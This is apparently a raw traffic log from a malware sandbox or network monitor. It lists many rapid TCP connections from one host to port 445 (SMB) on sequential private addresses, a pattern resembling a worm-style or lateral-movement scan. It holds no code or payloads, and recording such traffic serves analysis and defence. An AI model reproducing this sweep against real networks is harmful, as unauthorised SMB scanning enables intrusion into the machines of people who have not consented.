Jul 6, 2024 14:11:34.814868927 CEST	445	52330	192.168.3.84	192.168.2.6
Jul 6, 2024 14:11:34.815506935 CEST	445	52330	192.168.3.84	192.168.2.6
Jul 6, 2024 14:11:34.816117048 CEST	445	52329	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:34.817491055 CEST	52332	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:34.817491055 CEST	52332	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:34.819192886 CEST	445	52329	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:34.819859982 CEST	52333	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:34.820111990 CEST	52334	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:34.820171118 CEST	52335	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:34.820903063 CEST	445	52328	192.168.3.83	192.168.2.6
Jul 6, 2024 14:11:34.820913076 CEST	445	52328	192.168.3.83	192.168.2.6
Jul 6, 2024 14:11:34.821235895 CEST	52336	445	192.168.2.6	192.168.3.212
Jul 6, 2024 14:11:34.827766895 CEST	445	52332	192.168.3.211	192.168.2.6
Jul 6, 2024 14:11:34.828056097 CEST	52332	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:34.828459024 CEST	445	52333	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:34.828469992 CEST	445	52334	192.168.3.85	192.168.2.6
Jul 6, 2024 14:11:34.828479052 CEST	445	52335	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:34.828505039 CEST	445	52336	192.168.3.212	192.168.2.6
Jul 6, 2024 14:11:34.828541994 CEST	52333	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:34.828587055 CEST	52335	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:34.828624010 CEST	52334	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:34.828759909 CEST	52335	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:34.828885078 CEST	52333	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:34.829750061 CEST	52334	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:34.830476046 CEST	52336	445	192.168.2.6	192.168.3.212
Jul 6, 2024 14:11:34.830476046 CEST	52336	445	192.168.2.6	192.168.3.212
Jul 6, 2024 14:11:34.833801031 CEST	445	52335	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:34.834342957 CEST	445	52333	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:34.834527016 CEST	445	52333	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:34.834989071 CEST	445	52335	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:34.834997892 CEST	445	52334	192.168.3.85	192.168.2.6
Jul 6, 2024 14:11:34.835042953 CEST	52338	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:34.835203886 CEST	445	52334	192.168.3.85	192.168.2.6
Jul 6, 2024 14:11:34.835685968 CEST	52339	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:34.837100983 CEST	52341	445	192.168.2.6	192.168.3.213
Jul 6, 2024 14:11:34.837388992 CEST	445	52336	192.168.3.212	192.168.2.6
Jul 6, 2024 14:11:34.837440968 CEST	52336	445	192.168.2.6	192.168.3.212
Jul 6, 2024 14:11:34.840703011 CEST	445	52339	192.168.3.86	192.168.2.6
Jul 6, 2024 14:11:34.840900898 CEST	445	52338	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:34.842217922 CEST	445	52341	192.168.3.213	192.168.2.6
Jul 6, 2024 14:11:34.842346907 CEST	52338	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:34.842346907 CEST	52338	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:34.843040943 CEST	52339	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:34.843040943 CEST	52339	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:34.848017931 CEST	445	52339	192.168.3.86	192.168.2.6
Jul 6, 2024 14:11:34.848236084 CEST	445	52339	192.168.3.86	192.168.2.6
Jul 6, 2024 14:11:34.849028111 CEST	445	52338	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:34.849176884 CEST	445	52338	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:34.852037907 CEST	52341	445	192.168.2.6	192.168.3.213
Jul 6, 2024 14:11:34.852037907 CEST	52341	445	192.168.2.6	192.168.3.213
Jul 6, 2024 14:11:34.852303982 CEST	52343	445	192.168.2.6	192.168.3.214
Jul 6, 2024 14:11:34.858213902 CEST	445	52341	192.168.3.213	192.168.2.6
Jul 6, 2024 14:11:34.858289003 CEST	52341	445	192.168.2.6	192.168.3.213
Jul 6, 2024 14:11:34.868160963 CEST	445	52343	192.168.3.214	192.168.2.6
Jul 6, 2024 14:11:34.868212938 CEST	52343	445	192.168.2.6	192.168.3.214
Jul 6, 2024 14:11:34.868386984 CEST	52343	445	192.168.2.6	192.168.3.214
Jul 6, 2024 14:11:34.869517088 CEST	52345	445	192.168.2.6	192.168.3.215
Jul 6, 2024 14:11:34.876791000 CEST	445	52345	192.168.3.215	192.168.2.6
Jul 6, 2024 14:11:34.876866102 CEST	52345	445	192.168.2.6	192.168.3.215
Jul 6, 2024 14:11:34.878128052 CEST	445	52343	192.168.3.214	192.168.2.6
Jul 6, 2024 14:11:34.878184080 CEST	52343	445	192.168.2.6	192.168.3.214
Jul 6, 2024 14:11:34.882909060 CEST	52347	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:34.883085966 CEST	52345	445	192.168.2.6	192.168.3.215
Jul 6, 2024 14:11:34.883163929 CEST	52348	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:34.883390903 CEST	52346	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:34.887269020 CEST	445	52345	192.168.3.215	192.168.2.6
Jul 6, 2024 14:11:34.887331009 CEST	52345	445	192.168.2.6	192.168.3.215
Jul 6, 2024 14:11:34.888473034 CEST	445	52347	192.168.3.87	192.168.2.6
Jul 6, 2024 14:11:34.888490915 CEST	445	52345	192.168.3.215	192.168.2.6
Jul 6, 2024 14:11:34.888556957 CEST	52347	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:34.888597012 CEST	445	52348	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:34.888617992 CEST	445	52346	192.168.3.88	192.168.2.6
Jul 6, 2024 14:11:34.888634920 CEST	52347	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:34.889468908 CEST	52349	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:34.889468908 CEST	52346	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:34.889468908 CEST	52346	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:34.889790058 CEST	52350	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:34.889790058 CEST	52348	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:34.889790058 CEST	52348	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:34.889790058 CEST	52351	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:34.891093969 CEST	52353	445	192.168.2.6	192.168.3.216
Jul 6, 2024 14:11:34.893729925 CEST	445	52347	192.168.3.87	192.168.2.6
Jul 6, 2024 14:11:34.894524097 CEST	445	52347	192.168.3.87	192.168.2.6
Jul 6, 2024 14:11:34.894793987 CEST	445	52349	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:34.894887924 CEST	445	52350	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:34.894932985 CEST	52350	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:34.895185947 CEST	52350	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:34.895564079 CEST	52349	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:34.895564079 CEST	52349	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:34.896493912 CEST	445	52353	192.168.3.216	192.168.2.6
Jul 6, 2024 14:11:34.896559954 CEST	445	52346	192.168.3.88	192.168.2.6
Jul 6, 2024 14:11:34.896563053 CEST	52353	445	192.168.2.6	192.168.3.216
Jul 6, 2024 14:11:34.896684885 CEST	52353	445	192.168.2.6	192.168.3.216
Jul 6, 2024 14:11:34.896744967 CEST	445	52346	192.168.3.88	192.168.2.6
Jul 6, 2024 14:11:34.896996975 CEST	445	52348	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:34.897926092 CEST	445	52351	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:34.897993088 CEST	52351	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:34.898153067 CEST	52351	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:34.898257017 CEST	445	52348	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:34.899168968 CEST	52355	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:34.900230885 CEST	445	52350	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:34.900286913 CEST	52350	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:34.900357008 CEST	445	52350	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:34.900911093 CEST	445	52349	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:34.900958061 CEST	52349	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:34.901206017 CEST	445	52349	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:34.902266979 CEST	445	52353	192.168.3.216	192.168.2.6
Jul 6, 2024 14:11:34.902331114 CEST	52353	445	192.168.2.6	192.168.3.216
Jul 6, 2024 14:11:34.902527094 CEST	52354	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:34.903219938 CEST	445	52351	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:34.906559944 CEST	445	52351	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:34.906626940 CEST	445	52355	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:34.906698942 CEST	445	52350	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:34.906706095 CEST	52355	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:34.906718016 CEST	445	52349	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:34.907686949 CEST	445	52354	192.168.3.90	192.168.2.6
Jul 6, 2024 14:11:34.907933950 CEST	52354	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:34.910458088 CEST	52355	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:34.911320925 CEST	52354	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:34.912719965 CEST	52357	445	192.168.2.6	192.168.3.217
Jul 6, 2024 14:11:34.913271904 CEST	52358	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:34.913338900 CEST	52359	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:34.915008068 CEST	52361	445	192.168.2.6	192.168.3.218
Jul 6, 2024 14:11:34.917509079 CEST	445	52355	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:34.917567968 CEST	52355	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:34.918644905 CEST	445	52355	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:34.918909073 CEST	445	52357	192.168.3.217	192.168.2.6
Jul 6, 2024 14:11:34.918971062 CEST	52357	445	192.168.2.6	192.168.3.217
Jul 6, 2024 14:11:34.919045925 CEST	52357	445	192.168.2.6	192.168.3.217
Jul 6, 2024 14:11:34.919133902 CEST	445	52354	192.168.3.90	192.168.2.6
Jul 6, 2024 14:11:34.919142962 CEST	445	52359	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:34.919585943 CEST	445	52358	192.168.3.91	192.168.2.6
Jul 6, 2024 14:11:34.919631004 CEST	52358	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:34.919675112 CEST	52358	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:34.919888020 CEST	445	52361	192.168.3.218	192.168.2.6
Jul 6, 2024 14:11:34.919935942 CEST	52361	445	192.168.2.6	192.168.3.218
Jul 6, 2024 14:11:34.920000076 CEST	52361	445	192.168.2.6	192.168.3.218
Jul 6, 2024 14:11:34.920394897 CEST	445	52354	192.168.3.90	192.168.2.6
Jul 6, 2024 14:11:34.922418118 CEST	52359	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:34.922418118 CEST	52359	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:34.922857046 CEST	445	52355	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:34.927158117 CEST	445	52357	192.168.3.217	192.168.2.6
Jul 6, 2024 14:11:34.927227020 CEST	445	52358	192.168.3.91	192.168.2.6
Jul 6, 2024 14:11:34.927227020 CEST	52357	445	192.168.2.6	192.168.3.217
Jul 6, 2024 14:11:34.927494049 CEST	445	52358	192.168.3.91	192.168.2.6
Jul 6, 2024 14:11:34.927716017 CEST	445	52361	192.168.3.218	192.168.2.6
Jul 6, 2024 14:11:34.927778006 CEST	52361	445	192.168.2.6	192.168.3.218
Jul 6, 2024 14:11:34.928930044 CEST	52362	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:34.929080963 CEST	52363	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:34.929523945 CEST	445	52359	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:34.929991961 CEST	52364	445	192.168.2.6	192.168.3.219
Jul 6, 2024 14:11:34.930847883 CEST	445	52359	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:34.933950901 CEST	445	52362	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:34.934026957 CEST	52362	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:34.934122086 CEST	445	52363	192.168.3.92	192.168.2.6
Jul 6, 2024 14:11:34.934129953 CEST	52362	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:34.934170008 CEST	52363	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:34.934237957 CEST	52363	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:34.935142994 CEST	445	52364	192.168.3.219	192.168.2.6
Jul 6, 2024 14:11:34.935184956 CEST	52364	445	192.168.2.6	192.168.3.219
Jul 6, 2024 14:11:34.935265064 CEST	52364	445	192.168.2.6	192.168.3.219
Jul 6, 2024 14:11:34.940619946 CEST	445	52362	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:34.940949917 CEST	445	52363	192.168.3.92	192.168.2.6
Jul 6, 2024 14:11:34.941139936 CEST	445	52362	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:34.941402912 CEST	445	52363	192.168.3.92	192.168.2.6
Jul 6, 2024 14:11:34.941553116 CEST	445	52364	192.168.3.219	192.168.2.6
Jul 6, 2024 14:11:34.941617012 CEST	52364	445	192.168.2.6	192.168.3.219
Jul 6, 2024 14:11:34.944597960 CEST	52367	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:34.946130037 CEST	52369	445	192.168.2.6	192.168.3.220
Jul 6, 2024 14:11:34.949166059 CEST	52366	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:34.952851057 CEST	445	52367	192.168.3.93	192.168.2.6
Jul 6, 2024 14:11:34.952951908 CEST	52367	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:34.953058004 CEST	52367	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:34.954190016 CEST	445	52369	192.168.3.220	192.168.2.6
Jul 6, 2024 14:11:34.954248905 CEST	52369	445	192.168.2.6	192.168.3.220
Jul 6, 2024 14:11:34.954335928 CEST	52369	445	192.168.2.6	192.168.3.220
Jul 6, 2024 14:11:34.957170010 CEST	445	52366	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:34.957886934 CEST	445	52367	192.168.3.93	192.168.2.6
Jul 6, 2024 14:11:34.958365917 CEST	52366	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:34.958367109 CEST	52366	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:34.960037947 CEST	52370	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:34.960061073 CEST	52371	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:34.960627079 CEST	445	52367	192.168.3.93	192.168.2.6
Jul 6, 2024 14:11:34.962732077 CEST	445	52369	192.168.3.220	192.168.2.6
Jul 6, 2024 14:11:34.962739944 CEST	52373	445	192.168.2.6	192.168.3.221
Jul 6, 2024 14:11:34.962893963 CEST	445	52369	192.168.3.220	192.168.2.6
Jul 6, 2024 14:11:34.965210915 CEST	445	52370	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:34.965219021 CEST	445	52371	192.168.3.94	192.168.2.6
Jul 6, 2024 14:11:34.965574980 CEST	445	52366	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:34.966558933 CEST	52371	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:34.966558933 CEST	52371	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:34.966742039 CEST	445	52366	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:34.967257023 CEST	52369	445	192.168.2.6	192.168.3.220
Jul 6, 2024 14:11:34.967257977 CEST	52370	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:34.967257977 CEST	52370	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:34.967667103 CEST	445	52373	192.168.3.221	192.168.2.6
Jul 6, 2024 14:11:34.971534967 CEST	445	52371	192.168.3.94	192.168.2.6
Jul 6, 2024 14:11:34.971983910 CEST	445	52371	192.168.3.94	192.168.2.6
Jul 6, 2024 14:11:34.973443031 CEST	52373	445	192.168.2.6	192.168.3.221
Jul 6, 2024 14:11:34.973443031 CEST	52373	445	192.168.2.6	192.168.3.221
Jul 6, 2024 14:11:34.978588104 CEST	445	52370	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:34.978780031 CEST	445	52370	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:34.979027987 CEST	52374	445	192.168.2.6	192.168.3.222
Jul 6, 2024 14:11:34.979384899 CEST	445	52373	192.168.3.221	192.168.2.6
Jul 6, 2024 14:11:34.979454994 CEST	52373	445	192.168.2.6	192.168.3.221
Jul 6, 2024 14:11:34.984127998 CEST	445	52374	192.168.3.222	192.168.2.6
Jul 6, 2024 14:11:34.984694004 CEST	52374	445	192.168.2.6	192.168.3.222
Jul 6, 2024 14:11:34.984694004 CEST	52374	445	192.168.2.6	192.168.3.222
Jul 6, 2024 14:11:34.991425037 CEST	52376	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:34.991564035 CEST	52377	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:34.992862940 CEST	52379	445	192.168.2.6	192.168.3.223
Jul 6, 2024 14:11:34.995675087 CEST	445	52374	192.168.3.222	192.168.2.6
Jul 6, 2024 14:11:34.995740891 CEST	52374	445	192.168.2.6	192.168.3.222
Jul 6, 2024 14:11:34.997405052 CEST	445	52377	192.168.3.96	192.168.2.6
Jul 6, 2024 14:11:34.997487068 CEST	52377	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:34.997580051 CEST	52377	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:34.998272896 CEST	445	52376	192.168.3.95	192.168.2.6
Jul 6, 2024 14:11:34.998554945 CEST	445	52379	192.168.3.223	192.168.2.6
Jul 6, 2024 14:11:34.998614073 CEST	52379	445	192.168.2.6	192.168.3.223
Jul 6, 2024 14:11:34.999006033 CEST	52376	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:34.999006033 CEST	52376	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:35.004353046 CEST	445	52377	192.168.3.96	192.168.2.6
Jul 6, 2024 14:11:35.006737947 CEST	52379	445	192.168.2.6	192.168.3.223
Jul 6, 2024 14:11:35.006926060 CEST	52380	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:35.007015944 CEST	52381	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:35.007952929 CEST	52382	445	192.168.2.6	192.168.3.224
Jul 6, 2024 14:11:35.009660006 CEST	445	52377	192.168.3.96	192.168.2.6
Jul 6, 2024 14:11:35.012075901 CEST	445	52376	192.168.3.95	192.168.2.6
Jul 6, 2024 14:11:35.012366056 CEST	445	52380	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:35.012434006 CEST	52380	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:35.012514114 CEST	52380	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:35.012958050 CEST	445	52381	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:35.013006926 CEST	52381	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:35.013058901 CEST	52381	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:35.013237000 CEST	445	52382	192.168.3.224	192.168.2.6
Jul 6, 2024 14:11:35.013286114 CEST	52382	445	192.168.2.6	192.168.3.224
Jul 6, 2024 14:11:35.013339996 CEST	445	52379	192.168.3.223	192.168.2.6
Jul 6, 2024 14:11:35.013395071 CEST	52379	445	192.168.2.6	192.168.3.223
Jul 6, 2024 14:11:35.013417006 CEST	52382	445	192.168.2.6	192.168.3.224
Jul 6, 2024 14:11:35.014030933 CEST	445	52376	192.168.3.95	192.168.2.6
Jul 6, 2024 14:11:35.023941994 CEST	52385	445	192.168.2.6	192.168.3.225
Jul 6, 2024 14:11:35.027292013 CEST	445	52380	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:35.027825117 CEST	445	52381	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:35.031143904 CEST	445	52382	192.168.3.224	192.168.2.6
Jul 6, 2024 14:11:35.038595915 CEST	52386	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:35.038783073 CEST	52387	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:35.038844109 CEST	52388	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:35.038948059 CEST	52389	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:35.039032936 CEST	52390	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:35.039957047 CEST	445	52385	192.168.3.225	192.168.2.6
Jul 6, 2024 14:11:35.040056944 CEST	52385	445	192.168.2.6	192.168.3.225
Jul 6, 2024 14:11:35.040194035 CEST	52391	445	192.168.2.6	192.168.3.226
Jul 6, 2024 14:11:35.045032024 CEST	445	52386	192.168.3.97	192.168.2.6
Jul 6, 2024 14:11:35.045051098 CEST	445	52387	192.168.3.98	192.168.2.6
Jul 6, 2024 14:11:35.045141935 CEST	52386	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:35.045180082 CEST	52387	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:35.045281887 CEST	52386	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:35.045340061 CEST	445	52388	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:35.045341015 CEST	52387	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:35.045350075 CEST	445	52389	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:35.045358896 CEST	445	52390	192.168.3.99	192.168.2.6
Jul 6, 2024 14:11:35.045401096 CEST	52388	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:35.045420885 CEST	52390	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:35.045428038 CEST	52389	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:35.045517921 CEST	52388	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:35.045562029 CEST	52389	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:35.045624018 CEST	52390	445	192.168.2.6	192.168.3.99
Jul 6, 2024 14:11:35.045846939 CEST	445	52391	192.168.3.226	192.168.2.6
Jul 6, 2024 14:11:35.045927048 CEST	52391	445	192.168.2.6	192.168.3.226
Jul 6, 2024 14:11:35.046011925 CEST	52391	445	192.168.2.6	192.168.3.226
Jul 6, 2024 14:11:35.047982931 CEST	445	52380	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:35.049916029 CEST	445	52381	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:35.050283909 CEST	445	52382	192.168.3.224	192.168.2.6
Jul 6, 2024 14:11:35.050312996 CEST	445	52386	192.168.3.97	192.168.2.6
Jul 6, 2024 14:11:35.050329924 CEST	445	52387	192.168.3.98	192.168.2.6
Jul 6, 2024 14:11:35.050365925 CEST	445	52388	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:35.050374031 CEST	445	52389	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:35.050860882 CEST	445	52390	192.168.3.99	192.168.2.6
Jul 6, 2024 14:11:35.050987005 CEST	52382	445	192.168.2.6	192.168.3.224
Jul 6, 2024 14:11:35.052988052 CEST	445	52385	192.168.3.225	192.168.2.6
Jul 6, 2024 14:11:35.053406000 CEST	52385	445	192.168.2.6	192.168.3.225
Jul 6, 2024 14:11:35.053673983 CEST	52385	445	192.168.2.6	192.168.3.225
Jul 6, 2024 14:11:35.054593086 CEST	445	52386	192.168.3.97	192.168.2.6
Jul 6, 2024 14:11:35.054601908 CEST	445	52387	192.168.3.98	192.168.2.6
Jul 6, 2024 14:11:35.055044889 CEST	445	52388	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:35.055054903 CEST	445	52389	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:35.055074930 CEST	445	52390	192.168.3.99	192.168.2.6
Jul 6, 2024 14:11:35.055449963 CEST	445	52391	192.168.3.226	192.168.2.6
Jul 6, 2024 14:11:35.055505991 CEST	52391	445	192.168.2.6	192.168.3.226
Jul 6, 2024 14:11:35.056308985 CEST	52393	445	192.168.2.6	192.168.3.227
Jul 6, 2024 14:11:35.058692932 CEST	445	52385	192.168.3.225	192.168.2.6
Jul 6, 2024 14:11:35.061516047 CEST	445	52393	192.168.3.227	192.168.2.6
Jul 6, 2024 14:11:35.061683893 CEST	52393	445	192.168.2.6	192.168.3.227
Jul 6, 2024 14:11:35.067923069 CEST	445	52393	192.168.3.227	192.168.2.6
Jul 6, 2024 14:11:35.067970037 CEST	52393	445	192.168.2.6	192.168.3.227
Jul 6, 2024 14:11:35.069307089 CEST	52393	445	192.168.2.6	192.168.3.227
Jul 6, 2024 14:11:35.069580078 CEST	52395	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:35.069844007 CEST	52397	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:35.069986105 CEST	52398	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:35.071754932 CEST	52400	445	192.168.2.6	192.168.3.228
Jul 6, 2024 14:11:35.073051929 CEST	52396	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:35.074295998 CEST	445	52393	192.168.3.227	192.168.2.6
Jul 6, 2024 14:11:35.074569941 CEST	445	52395	192.168.3.100	192.168.2.6
Jul 6, 2024 14:11:35.074839115 CEST	445	52397	192.168.3.101	192.168.2.6
Jul 6, 2024 14:11:35.074892044 CEST	52397	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:35.074911118 CEST	445	52398	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:35.074949026 CEST	52397	445	192.168.2.6	192.168.3.101
Jul 6, 2024 14:11:35.074970007 CEST	52398	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:35.075052023 CEST	52398	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:35.075673103 CEST	52395	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:35.075673103 CEST	52395	445	192.168.2.6	192.168.3.100
Jul 6, 2024 14:11:35.076673031 CEST	445	52400	192.168.3.228	192.168.2.6
Jul 6, 2024 14:11:35.076796055 CEST	52400	445	192.168.2.6	192.168.3.228
Jul 6, 2024 14:11:35.079751015 CEST	445	52397	192.168.3.101	192.168.2.6
Jul 6, 2024 14:11:35.079758883 CEST	445	52397	192.168.3.101	192.168.2.6
Jul 6, 2024 14:11:35.079767942 CEST	445	52398	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:35.080276966 CEST	445	52398	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:35.080812931 CEST	445	52395	192.168.3.100	192.168.2.6
Jul 6, 2024 14:11:35.080868959 CEST	445	52395	192.168.3.100	192.168.2.6
Jul 6, 2024 14:11:35.082710028 CEST	445	52396	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:35.083508968 CEST	52396	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:35.083508968 CEST	52396	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:35.085036039 CEST	52400	445	192.168.2.6	192.168.3.228
Jul 6, 2024 14:11:35.086561918 CEST	52402	445	192.168.2.6	192.168.3.229
Jul 6, 2024 14:11:35.088470936 CEST	445	52396	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:35.088536024 CEST	445	52396	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:35.090112925 CEST	445	52400	192.168.3.228	192.168.2.6
Jul 6, 2024 14:11:35.090164900 CEST	52400	445	192.168.2.6	192.168.3.228
Jul 6, 2024 14:11:35.091737986 CEST	445	52402	192.168.3.229	192.168.2.6
Jul 6, 2024 14:11:35.091810942 CEST	52402	445	192.168.2.6	192.168.3.229
Jul 6, 2024 14:11:35.096936941 CEST	445	52402	192.168.3.229	192.168.2.6
Jul 6, 2024 14:11:35.097028971 CEST	52402	445	192.168.2.6	192.168.3.229
Jul 6, 2024 14:11:35.100502014 CEST	52402	445	192.168.2.6	192.168.3.229
